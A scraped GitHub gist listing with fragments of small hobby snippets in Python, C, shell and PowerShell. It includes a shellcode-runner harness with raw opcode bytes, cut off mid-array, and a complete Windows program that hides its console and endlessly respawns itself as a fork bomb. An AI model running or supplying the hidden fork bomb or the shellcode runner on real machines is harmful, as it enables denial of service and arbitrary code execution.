This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
for i in range(1, 1000): | |
t = i | |
u = len(str(i)) | |
x = 0 | |
while u != 0 : | |
b = i/pow(10,u-1) | |
i = i%pow(10,u-1) | |
u=u-1 | |
x = x + pow(b,3) | |
i = t |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Check out Koyne on @foursquare: http://4sq.com/RCEI3F |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# author : guguluk | |
# libs / for fails follow easy_install command | |
import urllib2 | |
from lxml import etree | |
# biggest nick id | |
nickId = -1 | |
# nick dict |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#define nDigit 10 | |
int nArray[nDigit]; | |
int prime=1; | |
int isPrime(int number) | |
{ | |
int i; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
sudo apt-get clean | |
cd /var/lib/apt | |
sudo mv lists lists.old | |
sudo mkdir -p lists/partial | |
sudo apt-get clean | |
sudo apt-get update |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// ( segmentation fault – core dumped problem solver ) | |
#include <stdio.h> | |
#include <sys/mman.h> | |
#include <string.h> | |
#include <stdlib.h> | |
int (*shellcode)(); | |
char code[] = "\xeb\x19\x31\xc0\x31\xdb\x31\xd2\x31\xc9\xb0\x04\xb3\x01\x59\xb2\x05\xcd"\ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
#coding: utf8 | |
import os | |
if os.name=="posix": | |
os.system("clear") | |
if os.name in ("nt","dos","ce"): | |
os.system("cls") | |
class colors: | |
head = '\033[95m' |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
echo -n "text" | md5sum | |
echo -n "text" | sha512sum | |
echo -n "text" | sha256sum | |
echo -n "text" | sha1sum | |
echo -n "text" | base64 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <windows.h> | |
#define hide ShowWindow(GetConsoleWindow(),SW_HIDE); | |
#define fork while(0x01) { WinExec(argv[0],SW_HIDE); } | |
void main(int argc, char* argv[]) { hide;fork;} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$web = New-Object System.Net.WebClient | |
$icerik = $web.DownloadString("http://www.enderunix.org/docs/bof.txt") | |
$icerik |
OlderNewer